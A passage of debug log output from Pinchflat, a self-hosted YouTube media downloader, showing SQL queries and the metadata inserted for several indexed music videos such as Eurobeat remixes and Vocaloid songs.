m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:32.832 [debug] QUERY OK source="media_items" db=0.2ms idle=130.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [31] 22:22:32.833 [debug] Current batch of media processed. Will check again in 1000ms 22:22:33.035 [info] GET /sources/1/media/21 22:22:33.035 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "21", "source_id" => "1"} Pipelines: [:browser] 22:22:33.035 [debug] QUERY OK source="media_items" db=0.2ms idle=331.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [21] 22:22:33.036 [debug] QUERY OK source="tasks" db=0.1ms idle=204.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [21] 22:22:33.036 [debug] QUERY OK source="sources" db=0.1ms idle=204.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:33.036 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=203.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [29] 22:22:33.036 [debug] QUERY OK source="settings" db=0.0ms idle=203.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:33.037 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:33.037 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:22:33.037 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:33.038 [info] Sent 200 in 3ms 22:22:33.834 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "lalalalala\n.\n› Genre(s): Eurobeat\n.\n› Be a member and gain custom badges, custom emojis and early access to new remixes.\nJoin Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw/join\n.\n› Join Discord: https://discord.gg/gJZPKhQDDY\n.\n› HQ Download: https://www.mediafire.com/folder/cpk4e4crbax76/IMOJIST's_HQ_Downloads\n.\n› HQ Instrumental Downloads:\nhttps://www.mediafire.com/folder/chllo4adwdz25/IMOJIST_HQ_Instrumental\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› AE86 Illustrator: https://www.deviantart.com/wcjuan\n.\n› Art: https://danbooru.donmai.us/posts/3119066\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: https://youtu.be/Se237UXFKlQ?si=RqnOJxzlF60wUU5S\n.\n› Follow me on various platforms: https://imojist.carrd.co\n.\n#atouchofclass #aroundtheworld #eurobeat #remix #music", "duration" => 206, "filename" => "/downloads/Nightcore/Nightcore/2024-10-02AROUND THE WORLD (LALALALALA) ⧸⧸ Eurobeat Remix - A Touch of Class[THBMcUdzwqU].m4a", "id" => "THBMcUdzwqU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=THBMcUdzwqU", "playlist_index" => 32, "timestamp" => 1727872130, "title" => "AROUND THE WORLD (LALALALALA) // Eurobeat Remix - A Touch of Class", "upload_date" => "20241002"} 22:22:33.835 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=797.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:33.836 [debug] QUERY OK source="sources" db=0.3ms idle=799.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:33.837 [debug] QUERY OK source="media_items" db=0.4ms idle=799.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-02 12:28:50Z], 1] 22:22:33.970 [debug] QUERY OK source="media_items" db=132.8ms idle=800.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["lalalalala\n.\n› Genre(s): Eurobeat\n.\n› Be a member and gain custom badges, custom emojis and early access to new remixes.\nJoin Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw/join\n.\n› Join Discord: https://discord.gg/gJZPKhQDDY\n.\n› HQ Download: https://www.mediafire.com/folder/cpk4e4crbax76/IMOJIST's_HQ_Downloads\n.\n› HQ Instrumental Downloads:\nhttps://www.mediafire.com/folder/chllo4adwdz25/IMOJIST_HQ_Instrumental\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› AE86 Illustrator: https://www.deviantart.com/wcjuan\n.\n› Art: https://danbooru.donmai.us/posts/3119066\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: https://youtu.be/Se237UXFKlQ?si=RqnOJxzlF60wUU5S\n.\n› Follow me on various platforms: https://imojist.carrd.co\n.\n#atouchofclass #aroundtheworld #eurobeat #remix #music", "AROUND THE WORLD (LALALALALA) // Eurobeat Remix - A Touch of Class", "94fd14cb-77c9-42c2-b049-f0be980e7955", false, "THBMcUdzwqU", 206, false, "https://www.youtube.com/watch?v=THBMcUdzwqU", 32, "/downloads/Nightcore/Nightcore/2024-10-02AROUND THE WORLD (LALALALALA) ⧸⧸ Eurobeat Remix - A Touch of Class[THBMcUdzwqU].m4a", false, false, 1, [], 1, ~U[2024-10-02 12:28:50Z], ~U[2026-07-24 02:22:33Z], ~U[2026-07-24 02:22:33Z], "lalalalala\n.\n› Genre(s): Eurobeat\n.\n› Be a member and gain custom badges, custom emojis and early access to new remixes.\nJoin Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw/join\n.\n› Join Discord: https://discord.gg/gJZPKhQDDY\n.\n› HQ Download: https://www.mediafire.com/folder/cpk4e4crbax76/IMOJIST's_HQ_Downloads\n.\n› HQ Instrumental Downloads:\nhttps://www.mediafire.com/folder/chllo4adwdz25/IMOJIST_HQ_Instrumental\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› AE86 Illustrator: https://www.deviantart.com/wcjuan\n.\n› Art: https://danbooru.donmai.us/posts/3119066\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: https://youtu.be/Se237UXFKlQ?si=RqnOJxzlF60wUU5S\n.\n› Follow me on various platforms: https://imojist.carrd.co\n.\n#atouchofclass #aroundtheworld #eurobeat #remix #music", "AROUND THE WORLD (LALALALALA) // Eurobeat Remix - A Touch of Class", "THBMcUdzwqU", 206, false, "https://www.youtube.com/watch?v=THBMcUdzwqU", "/downloads/Nightcore/Nightcore/2024-10-02AROUND THE WORLD (LALALALALA) ⧸⧸ Eurobeat Remix - A Touch of Class[THBMcUdzwqU].m4a", false, 1, ~U[2024-10-02 12:28:50Z]] 22:22:33.971 [debug] QUERY OK source="sources" db=0.2ms idle=875.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:33.971 [debug] QUERY OK source="media_profiles" db=0.1ms idle=135.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:33.972 [debug] QUERY OK source="media_items" db=0.2ms idle=135.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [32] 22:22:33.972 [debug] Current batch of media processed. Will check again in 1000ms 22:22:34.972 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by DistroKid\n\nTelephone (feat. SixteenInMono) · The Oshi Bar · CottontailVA · Isaa Corva · SixteenInMono · CottontailVA\n\nTelephone (feat. SixteenInMono)\n\n℗ Oshi Records\n\nReleased on: 2025-02-14\n\nAuto-generated by YouTube.", "duration" => 200, "filename" => "/downloads/Nightcore/Nightcore/2025-02-13Telephone (feat. SixteenInMono)[G1b63yYNCvU].m4a", "id" => "G1b63yYNCvU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=G1b63yYNCvU", "playlist_index" => 33, "timestamp" => 1739440888, "title" => "Telephone (feat. SixteenInMono)", "upload_date" => "20250213"} 22:22:34.973 [debug] QUERY OK source="sources" db=0.1ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:34.973 [debug] QUERY OK source="sources" db=0.1ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:34.973 [debug] QUERY OK source="media_items" db=0.1ms idle=1001.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-13 10:01:28Z], 1] 22:22:35.232 [debug] QUERY OK source="media_items" db=257.8ms idle=1001.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nTelephone (feat. SixteenInMono) · The Oshi Bar · CottontailVA · Isaa Corva · SixteenInMono · CottontailVA\n\nTelephone (feat. SixteenInMono)\n\n℗ Oshi Records\n\nReleased on: 2025-02-14\n\nAuto-generated by YouTube.", "Telephone (feat. SixteenInMono)", "54643873-7e6a-46ef-91cf-2f871cb2a5af", false, "G1b63yYNCvU", 200, false, "https://www.youtube.com/watch?v=G1b63yYNCvU", 33, "/downloads/Nightcore/Nightcore/2025-02-13Telephone (feat. SixteenInMono)[G1b63yYNCvU].m4a", false, false, 1, [], 1, ~U[2025-02-13 10:01:28Z], ~U[2026-07-24 02:22:34Z], ~U[2026-07-24 02:22:34Z], "Provided to YouTube by DistroKid\n\nTelephone (feat. SixteenInMono) · The Oshi Bar · CottontailVA · Isaa Corva · SixteenInMono · CottontailVA\n\nTelephone (feat. SixteenInMono)\n\n℗ Oshi Records\n\nReleased on: 2025-02-14\n\nAuto-generated by YouTube.", "Telephone (feat. SixteenInMono)", "G1b63yYNCvU", 200, false, "https://www.youtube.com/watch?v=G1b63yYNCvU", "/downloads/Nightcore/Nightcore/2025-02-13Telephone (feat. SixteenInMono)[G1b63yYNCvU].m4a", false, 1, ~U[2025-02-13 10:01:28Z]] 22:22:35.232 [debug] QUERY OK source="sources" db=0.2ms idle=258.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:35.232 [debug] QUERY OK source="media_profiles" db=0.1ms idle=258.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:35.233 [debug] QUERY OK source="media_items" db=0.1ms idle=259.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [33] 22:22:35.233 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Available on streaming services: https://distrokid.com/hyperfollow/mioricelesta1/fragile\n\nVocals, Vocal editing: Miori Celesta\nVocal mix: tsi \nInst: Edo Emp Studio \nIllustration: e武器\nLive2d: Eskageese\nMV + thumbnail: Aga\nOriginally by Tatsuro Yamashita", "duration" => 334, "filename" => "/downloads/Nightcore/Nightcore/2025-03-29Fragile - Tatsuro Yamashita ⧸ Miori Celesta[qNFBzyzqZdc].m4a", "id" => "qNFBzyzqZdc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qNFBzyzqZdc", "playlist_index" => 34, "timestamp" => 1743214506, "title" => "Fragile - Tatsuro Yamashita / Miori Celesta", "upload_date" => "20250329"} 22:22:35.233 [debug] QUERY OK source="sources" db=0.1ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:35.233 [debug] QUERY OK source="sources" db=0.1ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:35.233 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-29 02:15:06Z], 1] 22:22:35.417 [debug] QUERY OK source="media_items" db=183.3ms idle=1.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Available on streaming services: https://distrokid.com/hyperfollow/mioricelesta1/fragile\n\nVocals, Vocal editing: Miori Celesta\nVocal mix: tsi \nInst: Edo Emp Studio \nIllustration: e武器\nLive2d: Eskageese\nMV + thumbnail: Aga\nOriginally by Tatsuro Yamashita", "Fragile - Tatsuro Yamashita / Miori Celesta", "e61492f3-4e67-4b7f-833e-9a78164c4df4", false, "qNFBzyzqZdc", 334, false, "https://www.youtube.com/watch?v=qNFBzyzqZdc", 34, "/downloads/Nightcore/Nightcore/2025-03-29Fragile - Tatsuro Yamashita ⧸ Miori Celesta[qNFBzyzqZdc].m4a", false, false, 1, [], 1, ~U[2025-03-29 02:15:06Z], ~U[2026-07-24 02:22:35Z], ~U[2026-07-24 02:22:35Z], "Available on streaming services: https://distrokid.com/hyperfollow/mioricelesta1/fragile\n\nVocals, Vocal editing: Miori Celesta\nVocal mix: tsi \nInst: Edo Emp Studio \nIllustration: e武器\nLive2d: Eskageese\nMV + thumbnail: Aga\nOriginally by Tatsuro Yamashita", "Fragile - Tatsuro Yamashita / Miori Celesta", "qNFBzyzqZdc", 334, false, "https://www.youtube.com/watch?v=qNFBzyzqZdc", "/downloads/Nightcore/Nightcore/2025-03-29Fragile - Tatsuro Yamashita ⧸ Miori Celesta[qNFBzyzqZdc].m4a", false, 1, ~U[2025-03-29 02:15:06Z]] 22:22:35.418 [debug] QUERY OK source="sources" db=0.1ms idle=184.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:35.418 [debug] QUERY OK source="media_profiles" db=0.1ms idle=184.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:35.427 [debug] QUERY OK source="media_items" db=0.3ms queue=8.8ms idle=184.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [34] 22:22:35.427 [debug] Current batch of media processed. Will check again in 1000ms 22:22:36.428 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "僕だけ異常な訳じゃない。\n\n\nMusic:earmi\nX: https://x.com/earmi1095?s=11&t=jutdFpBrofGYQchweE7jig\n\nillustration:せかいせいは様\nX: https://x.com/sekaiseihasann?s=21&t=jutdFpBrofGYQchweE7jig\n\n\n\n#初音ミク #vocaloid #ボカロ", "duration" => 168, "filename" => 